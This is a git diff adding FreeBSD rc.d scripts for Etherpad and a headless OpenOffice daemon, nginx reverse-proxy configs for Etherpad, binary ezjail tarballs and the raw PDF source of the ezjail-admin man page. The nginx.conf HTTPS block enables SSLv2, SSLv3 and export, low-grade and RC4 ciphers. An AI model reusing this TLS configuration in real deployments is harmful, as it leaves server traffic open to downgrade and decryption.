2#
3
4# PROVIDE: etherpad
5# REQUIRE: LOGIN
6# KEYWORD: shutdown
7#
8# Add the following line to /etc/rc.conf to enable etherpad:
9#
10# etherpad_enable="YES"
11#
12
13. /etc/rc.subr
14
15name="etherpad"
16rcvar=${name}_enable
17
18start_cmd="${name}_start"
19#stop_cmd="${name}_stop"
20
21load_rc_config $name
22
23etherpad_user="etherpad"
24#procname="java"
25procname="/usr/local/jdk1.6.0/bin/java"
26
27pidfile=/var/run/etherpad/etherpad.pid
28daemon_args=" -f -u ${etherpad_user} -p ${pidfile} /usr/local/pad/etherpad/bin/run-local.sh"
29etherpad_start()
30{
31 cd /usr/local/pad/etherpad/
32 /usr/sbin/daemon ${daemon_args}
33}
34
35run_rc_command "$1"
diff --git a/files/arts/software/etherpad/nginx-etherpad.conf b/files/arts/software/etherpad/nginx-etherpad.conf
new file mode 100644
index 0000000..d8f90dd
--- /dev/null
+++ b/files/arts/software/etherpad/nginx-etherpad.conf
@@ -0,0 +1,25 @@
1server_name pads.domain.tld *.pads.domain.tld;
2access_log /var/log/www/access.log;
3error_log /var/log/www/error.log;
4
5proxy_redirect off;
6proxy_set_header Host $host;
7proxy_set_header X-Real-IP $remote_addr;
8proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
9client_max_body_size 10m;
10client_body_buffer_size 128k;
11proxy_connect_timeout 90;
12proxy_send_timeout 90;
13proxy_read_timeout 90;
14proxy_buffer_size 4k;
15proxy_buffers 4 32k;
16proxy_busy_buffers_size 64k;
17proxy_temp_file_write_size 64k;
18
19location /sitemap.xml {
20 rewrite /sitemap.xml$ /ep/tag/?format=sitemap permanent;
21}
22
23location / {
24 proxy_pass http://pads.domain.tld:9000/;
25}
diff --git a/files/arts/software/etherpad/nginx.conf b/files/arts/software/etherpad/nginx.conf
new file mode 100644
index 0000000..79d93d5
--- /dev/null
+++ b/files/arts/software/etherpad/nginx.conf
@@ -0,0 +1,53 @@
1#user nobody;
2worker_processes 1;
3
4#error_log logs/error.log;
5#error_log logs/error.log notice;
6#error_log logs/error.log info;
7
8#pid logs/nginx.pid;
9
10events {
11 worker_connections 1024;
12}
13
14http {
15 include mime.types;
16 default_type application/octet-stream;
17
18 #log_format main '$remote_addr - $remote_user [$time_local] "$request" '
19 # '$status $body_bytes_sent "$http_referer" '
20 # '"$http_user_agent" "$http_x_forwarded_for"';
21
22 #access_log logs/access.log main;
23
24 sendfile on;
25 #tcp_nopush on;
26
27 #keepalive_timeout 0;
28 keepalive_timeout 65;
29
30 #gzip on;
31
32 server {
33 listen 80;
34 server_name pads.domain.tld *.pads.domain.tld;
35 include nginx-etherpad.conf;
36 }
37
38 server {
39 listen 443;
40
41 ssl on;
42 ssl_certificate pads.domain.tld.pem;
43 ssl_certificate_key pads.domain.tld.pem;
44
45 ssl_session_timeout 5m;
46
47 ssl_protocols SSLv2 SSLv3 TLSv1;
48 ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;
49 ssl_prefer_server_ciphers on;
50 include nginx-etherpad.conf;
51 }
52}
53
diff --git a/files/arts/software/etherpad/soffice b/files/arts/software/etherpad/soffice
new file mode 100755
index 0000000..dc83499
--- /dev/null
+++ b/files/arts/software/etherpad/soffice
@@ -0,0 +1,28 @@
1#!/bin/sh
2#
3
4# PROVIDE: soffice
5# REQUIRE: LOGIN
6# KEYWORD: shutdown
7#
8# Add the following line to /etc/rc.conf to enable etherpad:
9#
10# soffice_enable="YES"
11#
12
13. /etc/rc.subr
14
15name="soffice"
16rcvar=${name}_enable
17
18start_cmd="${name}_start"
19#stop_cmd="${name}_stop"
20
21load_rc_config $name
22
23soffice_start()
24{
25 /usr/sbin/daemon -f /usr/local/bin/soffice -headless -nofirststartwizard -accept="socket,host=localhost,port=8100;urp;StarOffice.Service" -nologo
26}
27
28run_rc_command "$1"
diff --git a/files/arts/software/ezjail/ezjail-0.1.tar.bz2 b/files/arts/software/ezjail/ezjail-0.1.tar.bz2
new file mode 100644
index 0000000..f750b82
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-0.1.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-1.0.tar.bz2 b/files/arts/software/ezjail/ezjail-1.0.tar.bz2
new file mode 100644
index 0000000..2b0661a
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-1.0.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-1.1.tar.bz2 b/files/arts/software/ezjail/ezjail-1.1.tar.bz2
new file mode 100644
index 0000000..026d8ec
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-1.1.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-1.2.tar.bz2 b/files/arts/software/ezjail/ezjail-1.2.tar.bz2
new file mode 100644
index 0000000..4772c52
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-1.2.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-1.2b.tar.bz2 b/files/arts/software/ezjail/ezjail-1.2b.tar.bz2
new file mode 100644
index 0000000..32d38b0
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-1.2b.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-1.3.1.tar.bz2 b/files/arts/software/ezjail/ezjail-1.3.1.tar.bz2
new file mode 100644
index 0000000..956fd48
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-1.3.1.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-1.3.tar.bz2 b/files/arts/software/ezjail/ezjail-1.3.tar.bz2
new file mode 100644
index 0000000..772202a
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-1.3.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-2.0.1.tar.bz2 b/files/arts/software/ezjail/ezjail-2.0.1.tar.bz2
new file mode 100644
index 0000000..770eaad
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-2.0.1.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-2.0.tar.bz2 b/files/arts/software/ezjail/ezjail-2.0.tar.bz2
new file mode 100644
index 0000000..3bf4be0
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-2.0.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-2.0b.tar.bz2 b/files/arts/software/ezjail/ezjail-2.0b.tar.bz2
new file mode 100644
index 0000000..c7ac7cd
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-2.0b.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-2.1.tar.bz2 b/files/arts/software/ezjail/ezjail-2.1.tar.bz2
new file mode 100644
index 0000000..ce4acad
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-2.1.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-3.0.tar.bz2 b/files/arts/software/ezjail/ezjail-3.0.tar.bz2
new file mode 100644
index 0000000..4dc6cf7
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-3.0.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-3.0b.tar.bz2 b/files/arts/software/ezjail/ezjail-3.0b.tar.bz2
new file mode 100644
index 0000000..0f0dbbb
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-3.0b.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-3.1.tar.bz2 b/files/arts/software/ezjail/ezjail-3.1.tar.bz2
new file mode 100644
index 0000000..b272a2b
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-3.1.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-3.2.1.tar.bz2 b/files/arts/software/ezjail/ezjail-3.2.1.tar.bz2
new file mode 100644
index 0000000..cfaff74
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-3.2.1.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-3.2.2.tar.bz2 b/files/arts/software/ezjail/ezjail-3.2.2.tar.bz2
new file mode 100644
index 0000000..b80b81d
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-3.2.2.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-3.2.3.tar.bz2 b/files/arts/software/ezjail/ezjail-3.2.3.tar.bz2
new file mode 100644
index 0000000..f588f31
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-3.2.3.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-3.2.tar.bz2 b/files/arts/software/ezjail/ezjail-3.2.tar.bz2
new file mode 100644
index 0000000..b23aff7
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-3.2.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-3.3.tar.bz2 b/files/arts/software/ezjail/ezjail-3.3.tar.bz2
new file mode 100644
index 0000000..aa14644
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-3.3.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-3.4.1.tar.bz2 b/files/arts/software/ezjail/ezjail-3.4.1.tar.bz2
new file mode 100644
index 0000000..2191346
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-3.4.1.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-3.4.tar.bz2 b/files/arts/software/ezjail/ezjail-3.4.tar.bz2
new file mode 100644
index 0000000..3bedc02
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-3.4.tar.bz2
Binary files differ
diff --git a/files/arts/software/ezjail/ezjail-admin.8.pdf b/files/arts/software/ezjail/ezjail-admin.8.pdf
new file mode 100644
index 0000000..54c2b52
--- /dev/null
+++ b/files/arts/software/ezjail/ezjail-admin.8.pdf
@@ -0,0 +1,4073 @@
1%PDF-1.3
2%
32 0 obj
4<<
5/Length 10523
6>>
7stream
8BT
9/TT2 1 Tf
1010 0 0 10 72 756 Tm
110 g
12/GS1 gs
130 Tc
140 Tw
15[(N)20(AME)]TJ
16/TT4 1 Tf
173 -1.2 TD
18(ezjail-admin)Tj
19/TT6 1 Tf
207.4512 0 TD
21[()-250(Administrate ezjail en)40(vironment)]TJ
22/TT2 1 Tf
23-10.4512 -2.4 TD
24(SYNOPSIS)Tj
25/TT4 1 Tf
263 -1.2 TD
27(ezjail-admin )Tj
287.4513 0 TD
29(install)Tj
30/TT6 1 Tf
314.534 0 TD
32([)Tj
33/TT3 1 Tf
340.5829 0 TD
35<00e9>Tj
36/TT4 1 Tf
370.6001 0 TD
38(mMpPsS)Tj
39/TT6 1 Tf
403.6839 0 TD
410.3333 Tc
42(][)Tj
43/TT3 1 Tf
441.2492 0 TD
450 Tc
46<00e9>Tj
47/TT4 1 Tf
480.6001 0 TD
49(h)Tj
50/TT8 1 Tf
511.2001 0 TD
52(host)Tj
53/TT6 1 Tf
542.4837 0 TD
550.3333 Tc
56(][)Tj
57/TT3 1 Tf
581.2492 0 TD
590 Tc
60<00e9>Tj
61/TT4 1 Tf
620.6001 0 TD
63(r)Tj
64/TT8 1 Tf
651.2001 0 TD
66(release)Tj
67/TT6 1 Tf
684.284 0 TD
69(])Tj
70/TT4 1 Tf
71-29.7186 -1.2 TD
72(ezjail-admin )Tj
737.4513 0 TD
74(create)Tj
75/TT6 1 Tf
763.9339 0 TD
77([)Tj
78/TT3 1 Tf
790.5829 0 TD
80<00e9>Tj
81/TT4 1 Tf
820.6001 0 TD
83(bx)Tj
84/TT6 1 Tf
851.2835 0 TD
860.3333 Tc
87(][)Tj
88/TT3 1 Tf
891.2492 0 TD
900 Tc
91<00e9>Tj
92/TT4 1 Tf
930.6001 0 TD
94(f)Tj
95/TT8 1 Tf
961.2001 0 TD
97(flavour)Tj
98/TT6 1 Tf
994.284 0 TD
1000.3333 Tc
101(][)Tj
102/TT3 1 Tf
1031.2492 0 TD
1040 Tc
105<00e9>Tj
106/TT4 1 Tf
1070.6001 0 TD
108(r)Tj
109/TT8 1 Tf
1101.2001 0 TD
111(jailroot)Tj
112/TT6 1 Tf
1134.8841 0 TD
1140.3333 Tc
115(][)Tj
116/TT3 1 Tf
1171.2492 0 TD
1180 Tc
119<00e9>Tj
120/TT4 1 Tf
1210.6001 0 TD
122(a)Tj
123/TT8 1 Tf
1241.2001 0 TD
125(archive)Tj
126/TT6 1 Tf
1274.284 0 TD
128(])Tj
129-28.5686 -1.2 TD
130([)Tj
131/TT3 1 Tf
1320.5829 0 TD
133<00e9>Tj
134/TT4 1 Tf
1350.6001 0 TD
136(c)Tj
137/TT8 1 Tf
1381.2001 0 TD
139(jailtype)Tj
140/TT3 1 Tf
1415.5674 0 TD
142<00e9>Tj
143/TT4 1 Tf
1440.6001 0 TD
145(s)Tj
146/TT8 1 Tf
1471.2001 0 TD
148(imagesize)Tj
149/TT6 1 Tf
1506.0842 0 TD
151([)Tj
152/TT3 1 Tf
1530.5829 0 TD
154<00e9>Tj
155/TT4 1 Tf
1560.6001 0 TD
157(C)Tj
158/TT8 1 Tf
1591.2001 0 TD
160(attachargs)Tj
161/TT6 1 Tf
1626.0843 0 TD
1630.0833 Tc
164-0.0833 Tw
165(]] [)Tj
166/TT3 1 Tf
1671.6655 0 TD
1680 Tc
1690 Tw
170<00e9>Tj
171/TT4 1 Tf
1720.6001 0 TD
173(z)Tj
174/TT8 1 Tf
1751.2001 0 TD
176(parentzfs)Tj
177/TT6 1 Tf
1785.4842 0 TD
179(])Tj
180/TT8 1 Tf
181-33.3354 -1.2 TD
182(jailname ipaddress)Tj
183/TT6 1 Tf
18410.8851 0 TD
185([)Tj
186/TT8 1 Tf
1870.4163 0 TD
188(,ipaddress2,...)Tj
189/TT6 1 Tf
1909.0848 0 TD
191(])Tj
192/TT4 1 Tf
193-28.1861 -1.2 TD
194(ezjail-admin )Tj
1957.4513 0 TD
196(console)Tj
197/TT6 1 Tf
1984.534 0 TD
199([)Tj
200/TT3 1 Tf
2010.5829 0 TD
202<00e9>Tj
203/TT4 1 Tf
2040.6001 0 TD
205(f)Tj
206/TT6 1 Tf
2070.6834 0 TD
2080.3333 Tc
209(][)Tj
210/TT3 1 Tf
2111.2492 0 TD
2120 Tc
213<00e9>Tj
214/TT4 1 Tf
2150.6001 0 TD
216(e)Tj
217/TT8 1 Tf
2181.2001 0 TD
219(command)Tj
220/TT6 1 Tf
2214.284 0 TD
222(])Tj
223/TT8 1 Tf
2240.583 0 TD
225(jailname)Tj
226/TT4 1 Tf
227-21.7681 -1.2 TD
228(ezjail-admin )Tj
2297.4513 0 TD
230(list)Tj
231-7.4513 -1.2 TD
232(ezjail-admin )Tj
2337.4513 0 TD
234(start)Tj
235/TT6 1 Tf
2363.6005 0 TD
237(|)Tj
238/TT4 1 Tf
2390.8002 0 TD
240(stop)Tj
241/TT6 1 Tf
2423.0004 0 TD
243(|)Tj
244/TT4 1 Tf
2450.8002 0 TD
246(restart)Tj
247/TT6 1 Tf
2484.8007 0 TD
249(|)Tj
250/TT4 1 Tf
2510.8002 0 TD
252(cryptostart)Tj
253/TT8 1 Tf
2547.2011 0 TD
255(jailname...)Tj
256/TT4 1 Tf
257-28.4545 -1.2 TD
258(ezjail-admin )Tj
2597.4513 0 TD
260(config)Tj
261/TT6 1 Tf
2623.9339 0 TD
263([)Tj
264/TT3 1 Tf
2650.5829 0 TD
266<00e9>Tj
267/TT4 1 Tf
2680.6001 0 TD
269(r)Tj
270/TT8 1 Tf
2711.2001 0 TD
272(run)Tj
273/TT6 1 Tf
2742.4003 0 TD
275(|)Tj
276/TT8 1 Tf
2770.8002 0 TD
278(norun)Tj
279/TT6 1 Tf
2803.0838 0 TD
2810.3333 Tc
282(][)Tj
283/TT3 1 Tf
2841.2492 0 TD
2850 Tc
286<00e9>Tj
287/TT4 1 Tf
2880.6001 0 TD
289(n)Tj
290/TT8 1 Tf
2911.2001 0 TD
292(newname)Tj
293/TT6 1 Tf
2944.284 0 TD
2950.3333 Tc
296(][)Tj
297/TT3 1 Tf
2981.2492 0 TD
2990 Tc
300<00e9>Tj
301/TT4 1 Tf
3020.6001 0 TD
303(i)Tj
304/TT8 1 Tf
3051.2001 0 TD
306(attach)Tj
307/TT6 1 Tf
3084.2006 0 TD
309(|)Tj
310/TT8 1 Tf
3110.8002 0 TD
312(detach)Tj
313/TT6 1 Tf
3144.2006 0 TD
315(|)Tj
316/TT8 1 Tf
3170.8002 0 TD
318(fsck)Tj
319/TT6 1 Tf
3202.4837 0 TD
321(])Tj
322-35.0373 -1.2 TD
323([)Tj
324/TT3 1 Tf
3250.5829 0 TD
326<00e9>Tj
327/TT4 1 Tf
3280.6001 0 TD
329(z)Tj
330/TT8 1 Tf
3311.2001 0 TD
332(newdataset)Tj
333/TT6 1 Tf
3346.0843 0 TD
3350.3333 Tc
336(][)Tj
337/TT3 1 Tf
3381.2492 0 TD
3390 Tc
340<00e9>Tj
341/TT4 1 Tf
3420.6001 0 TD
343(c)Tj
344/TT8 1 Tf
3451.2001 0 TD
346(newcpuset)Tj
347/TT6 1 Tf
3485.4842 0 TD
3490.3333 Tc
350(][)Tj
351/TT3 1 Tf
3521.2492 0 TD
3530 Tc
354<00e9>Tj
355/TT4 1 Tf
3560.6001 0 TD
357(f)Tj
358/TT8 1 Tf
3591.2001 0 TD
360(newfib)Tj
361/TT6 1 Tf
3623.6839 0 TD
363(])Tj
364/TT8 1 Tf
3650.583 0 TD
366(jailname)Tj
367/TT4 1 Tf
368-32.2006 -1.2 TD
369(ezjail-admin )Tj
3707.4513 0 TD
371(delete)Tj
372/TT6 1 Tf
3733.9339 0 TD
374([)Tj
375/TT3 1 Tf
3760.5829 0 TD
377<00e9>Tj
378/TT4 1 Tf
3790.6001 0 TD
380(wf)Tj
381/TT6 1 Tf
3821.2835 0 TD
383(])Tj
384/TT8 1 Tf
3850.583 0 TD
386(jailname)Tj
387/TT4 1 Tf
388-14.4347 -1.2 TD
389(ezjail-admin )Tj
3907.4513 0 TD
391(archive)Tj
392/TT6 1 Tf
3934.534 0 TD
394([)Tj
395/TT3 1 Tf
3960.5829 0 TD
397<00e9>Tj
398/TT4 1 Tf
3990.6001 0 TD
400(Af)Tj
401/TT6 1 Tf
4021.2835 0 TD
4030.3333 Tc
404(][)Tj
405/TT3 1 Tf
4061.2492 0 TD
4070 Tc
408<00e9>Tj
409/TT4 1 Tf
4100.6001 0 TD
411(a)Tj
412/TT8 1 Tf
4131.2001 0 TD
414(archive)Tj
415/TT6 1 Tf
4164.284 0 TD
4170.3333 Tc
418(][)Tj
419/TT3 1 Tf
4201.2492 0 TD
4210 Tc
422<00e9>Tj
423/TT4 1 Tf
4240.6001 0 TD
425(d)Tj
426/TT8 1 Tf
4271.2001 0 TD
428(archivedir)Tj
429/TT6 1 Tf
4306.0843 0 TD
431(])Tj
432/TT8 1 Tf
4330.583 0 TD
434(jailname...)Tj
435/TT4 1 Tf
436-31.5018 -1.2 TD
437(ezjail-admin )Tj
4387.4513 0 TD
439(restore)Tj
440/TT6 1 Tf
4414.534 0 TD
442([)Tj
443/TT3 1 Tf
4440.5829 0 TD
445<00e9>Tj
446/TT4 1 Tf
4470.6001 0 TD
448(f)Tj
449/TT6 1 Tf
4500.6834 0 TD
4510.3333 Tc
452(][)Tj
453/TT3 1 Tf
4541.2492 0 TD
4550 Tc
456<00e9>Tj
457/TT4 1 Tf
4580.6001 0 TD
459(d)Tj
460/TT8 1 Tf
4611.2001 0 TD
462(archivedir)Tj
463/TT6 1 Tf
4646.0843 0 TD
465(])Tj
466/TT8 1 Tf
4670.583 0 TD
468(archive)Tj
469/TT6 1 Tf
4704.8007 0 TD
471(|)Tj
472/TT8 1 Tf
4730.8002 0 TD
474(jailname...)Tj
475/TT4 1 Tf
476-29.1692 -1.2 TD
477(ezjail-admin )Tj
4787.4513 0 TD
479(update)Tj
480/TT6 1 Tf
4813.9339 0 TD
482([)Tj
483/TT3 1 Tf
4840.5829 0 TD
485<00e9>Tj
486/TT4 1 Tf
4870.6001 0 TD
488(s)Tj
489/TT8 1 Tf
4901.2001 0 TD
491(sourcetree)Tj
492/TT6 1 Tf
4936.601 0 TD
494(|)Tj
495/TT8 1 Tf
4960.8002 0 TD
497(sourceosversion)Tj
498/TT6 1 Tf
4999.0848 0 TD
5000.3333 Tc
501(][)Tj
502/TT3 1 Tf
5031.2492 0 TD
5040 Tc
505<00e9>Tj
506/TT4 1 Tf
5070.6001 0 TD
508(p)Tj
509/TT6 1 Tf
5100.6834 0 TD
511(])Tj
512/TT3 1 Tf
5130.7496 0 TD
514<00e9>Tj
515/TT4 1 Tf
5160.6001 0 TD
517(b)Tj
518/TT6 1 Tf
5191.2001 0 TD
520(|)Tj
521/TT3 1 Tf
5220.9668 0 TD
523<00e9>Tj
524/TT4 1 Tf
5250.6001 0 TD
526(i)Tj
527/TT6 1 Tf
5281.2001 0 TD
529(|)Tj
530/TT3 1 Tf
5310.9668 0 TD
532<00e9>Tj
533/TT4 1 Tf
5340.6001 0 TD
535(P)Tj
536/TT6 1 Tf
5371.2001 0 TD
538(|)Tj
539/TT3 1 Tf
5400.9668 0 TD
541<00e9>Tj
542/TT4 1 Tf
5430.6001 0 TD
544(u)Tj
545/TT6 1 Tf
546-34.6376 -1.2 TD
547(|)Tj
548/TT3 1 Tf
5490.9668 0 TD
550<00e9>Tj
551/TT4 1 Tf
5520.6001 0 TD
553(U)Tj
554/TT2 1 Tf
555-12.3669 -2.4 TD
556(DESCRIPTION)Tj
557/TT6 1 Tf
5583 -1.2 TD
559(The)Tj
560/TT4 1 Tf
5611.9769 0 TD
562(ezjail-admin)Tj
563/TT6 1 Tf
5647.6234 0 TD
5650.1721 Tw
566[(utility is used to manage the ezjail en)40(vironment and all the jails inside the ezjail)]TJ
567-9.6003 -1.2 TD
5680.0406 Tw
569[(scope. This man page describes the in)40(v)20(ocation of)]TJ
570/TT4 1 Tf
57120.1754 0 TD
5720 Tw
573(ezjail-admin)Tj
574/TT6 1 Tf
5757.2012 0 TD
5760.0406 Tw
577[(.)-540.6(Refer to)]TJ
578/TT10 1 Tf
5794.3703 0 TD
5800 Tw
581(ezjail)Tj
582/TT6 1 Tf
5833.6006 0 TD
5840.0407 Tw
585(\(7\) in order to get an)Tj
586-35.3475 -1.2 TD
5870 Tw
588[(introduction to the usage of ezjail, as well as usage e)15(xamples.)]TJ
5890 -1.8 TD
5900.1819 Tw
591[(The description of some options ends with V)111(ariable: )]TJ
592/TT10 1 Tf
59323.3388 0 TD
5940 Tw
595($ezjail_abcd)Tj
596/TT6 1 Tf
5977.2012 0 TD
5980.1819 Tw
599[(. )-250(This)-431.9(means that the def)10(ault)]TJ
600-30.54 -1.2 TD
6010 Tw
602[(v)25(alue of the option may be o)15(v)15(erridden by setting this v)25(ariable in)]TJ
603/TT10 1 Tf
60425.8023 0 TD
605(ezjail.conf)Tj
606/TT6 1 Tf
6076.6011 0 TD
608(\(5\).)Tj
609/TT4 1 Tf
610-34.2034 -2.4 TD
611(ezjail-admin )Tj
6127.5138 0 TD
613(install)Tj
614/TT6 1 Tf
615-5.7138 -1.2 TD
6160.0465 Tw
617[(This function sub-command is normally run once in the life of the ezjail en)40(vironment. It allocates the direc-)]TJ
618T*
6190.0794 Tw
620[(tory structure used by ezjail and populates the base jail using the minimal distrib)20(ution set from a FreeBSD)]TJ
621T*
6220 Tw
623[(FTP serv)15(er)55(.)]TJ
6240 -1.8 TD
6250.1449 Tw
626[(The def)10(ault location for ezjail)55(s)-394.9(basejail is in)]TJ
627/TT10 1 Tf
62819.1987 0 TD
6290 Tw
630(/usr/jails)Tj
631/TT6 1 Tf
6326.001 0 TD
6330.145 Tw
634[(,)-394.9(s)0(o)-394.9(b)0(e)-395(sure you ha)20(v)15(e)15( )-15(enough space there \(a)]TJ
635-25.1997 -1.2 TD
6360.0399 Tw
637(FreeBSD base release without man pages, sources and ports is around 120MB\). This location may be modi-)Tj
638/TT11 1 Tf
639T*
6400 Tw
641()Tj
642/TT6 1 Tf
6430.5562 0 TD
644(ed in)Tj
645/TT10 1 Tf
6462.2217 0 TD
647(ezjail.conf)Tj
648/TT6 1 Tf
6496.6011 0 TD
650(\(5\).)Tj
651-9.3789 -1.8 TD
6520.0912 Tw
653(See also)Tj
654/TT4 1 Tf
6553.7371 0 TD
6560 Tw
657(ezjail-admin )Tj
6587.5425 0 TD
659(update)Tj
660/TT6 1 Tf
6613.9418 0 TD
6620.0913 Tw
663(to install the base jail from source, as well as a method to update the)Tj
664-15.2213 -1.2 TD
6650 Tw
666(base jail using)Tj
667/TT10 1 Tf
6685.9712 0 TD
669(freebsd-update)Tj
670/TT6 1 Tf
6718.4014 0 TD
672(\(8\).)Tj
673-14.3726 -1.8 TD
674[(The follo)25(wing options are a)20(v)25(ailable:)]TJ
675/TT3 1 Tf
6760.1666 -1.8 TD
677<00e9>Tj
678/TT4 1 Tf
6790.6001 0 TD
680(m)Tj
681/TT6 1 Tf
6823.3333 0 TD
683(Fetch and install man pages \(ca. 10MB\).)Tj
684/TT3 1 Tf
685-3.9334 -1.8 TD
686<00e9>Tj
687/TT4 1 Tf
6880.6001 0 TD
689(M)Tj
690/TT6 1 Tf
6913.3333 0 TD
6920.0169 Tw
693(Fetch and install man pages, without \(re\)installing the base jail. May be used to add the man pages)Tj
6940 -1.2 TD
6950 Tw
696(to the base jail after the initial installation.)Tj
697/TT3 1 Tf
698-3.9334 -1.8 TD
699<00e9>Tj
700/TT4 1 Tf
7010.6001 0 TD
702(s)Tj
703/TT6 1 Tf
7043.3333 0 TD
705(Fetch and install sources \(ca. 450MB\).)Tj
706/TT3 1 Tf
707-3.9334 -1.8 TD
708<00e9>Tj
709/TT4 1 Tf
7100.6001 0 TD
711(S)Tj
712/TT6 1 Tf
7133.3333 0 TD
714(Fetch and install sources, without \(re\)installing the base jail.)Tj
715/TT3 1 Tf
716-3.9334 -1.8 TD
717<00e9>Tj
718/TT4 1 Tf
7190.6001 0 TD
720(p)Tj
721/TT6 1 Tf
7223.3333 0 TD
7230.6665 Tw
724[(In)40(v)20(o)0(k)10(e)10( the)]TJ
725/TT10 1 Tf
7265.7415 0 TD
7270 Tw
728(portsnap)Tj
729/TT6 1 Tf
7304.8008 0 TD
7310.6566 Tw
732[(\(8\) utility to fetch and e)15(xtract a FreeBSD ports tree from)]TJ
733/TT10 1 Tf
734-10.5423 -1.2 TD
7350 Tw
736(portsnap.FreeBSD.org)Tj
737/TT6 1 Tf
73812.2805 0 TD
7390.0285 Tw
740(\(ca. 475MB\). When a ports tree is added to the base jail, a modi)Tj
741/TT11 1 Tf
74225.9184 0 TD
7430 Tw
744()Tj
745/TT6 1 Tf
7460.5562 0 TD
747(ed)Tj
748/TT10 1 Tf
749-38.755 -1.2 TD
750(make.conf)Tj
751/TT6 1 Tf
7525.7754 0 TD
7530.1245 Tw
754[(containing reasonable v)25(alues to function in the jailed en)40(vironment is added to the)]TJ
755-5.7754 -1.2 TD
7560.0347 Tw
757[(ne)25(w)-284.8(jail template so all jails created from the ne)25(w)-284.8(jail template will ha)20(v)15(e)15( )-15(a)15( )-15(w)10(orking ports en)40(viron-)]TJ
758T*
7590 Tw
760(ment. See the appendix)Tj
761/TT13 1 Tf
7629.5806 0 TD
763[(Using P)80(ortsnap)]TJ
764/TT6 1 Tf
7656.4762 0 TD
766(in the)Tj
767/TT13 1 Tf
7682.4995 0 TD
769-0.232 Tw
770[(F)55(r)55( eeBSD )-232(Handbook)]TJ
771/TT6 1 Tf
7728.2947 0 TD
7730 Tw
774(for details or)Tj
775/TT10 1 Tf
7765.3594 0 TD
777(portsnap)Tj
778/TT6 1 Tf
7794.8008 0 TD
780(\(8\).)Tj
781/TT3 1 Tf
782-40.9445 -1.8 TD
783<00e9>Tj
784/TT4 1 Tf
7850.6001 0 TD
786(P)Tj
787/TT6 1 Tf
7883.3333 0 TD
789[(Fetch and e)15(xtract a ports tree, without \(re\)installing the base jail.)]TJ
790/TT3 1 Tf
791-3.9334 -1.8 TD
792<00e9>Tj
793/TT4 1 Tf
7940.6001 0 TD
795(h)Tj
796/TT8 1 Tf
7971.2001 0 TD
798(host)Tj
799/TT6 1 Tf
8002.1332 -1.2 TD
8010.3995 Tw
802[(Set the remote host to fetch FreeBSD distrib)20(ution sets from. If absent the def)10(ault host)]TJ
803/TT10 1 Tf
804T*
8050 Tw
806(ftp.FreeBSD.org)Tj
807/TT6 1 Tf
8089.2515 0 TD
809[(is used. V)111(ariable: )]TJ
810/TT10 1 Tf
8117.5531 0 TD
812($ezjail_ftphost)Tj
813/TT6 1 Tf
8149.0015 0 TD
815(.)Tj
816-32.906 -6 TD
81715.998 Tw
818[(FreeBSD January)-250(15, )15998(2011)-19470(1)]TJ
819ET
820endstream
821endobj
8223 0 obj
823<<
824/ProcSet [/PDF /Text ]
825/Font <<
826/TT2 4 0 R
827/TT3 5 0 R
828/TT4 6 0 R
829/TT6 7 0 R
830/TT8 8 0 R
831/TT10 9 0 R
832/TT11 10 0 R
833/TT13 11 0 R
834>>
835/ExtGState <<
836/GS1 12 0 R
837>>
838>>
839endobj
84015 0 obj
841<<
842/Length 7260
843>>
844stream
845BT
846/TT6 1 Tf
84710 0 0 10 72 744 Tm
8480 g
849/GS1 gs
8500 Tc
851-0.0834 Tw
852[(EZJ)60(AIL-ADMIN \(8\))-8296.9(User)55(s)-250(Supplementary )-83.4(Documents)-8296.9(EZJ)60(AIL-ADMIN \(8\))]TJ
8537.1 -4.8 TD
8540.0171 Tw
855(It is possible to install from the)Tj
856/TT10 1 Tf
85712.8131 0 TD
8580 Tw
859(disc1)Tj
860/TT6 1 Tf
8613.2676 0 TD
8620.017 Tw
863[(CDRom, or an e)15(xtracted -RELEASE directory)65(,)-267(b)0(y)-267(specify-)]TJ
864-16.0806 -1.2 TD
8650 Tw
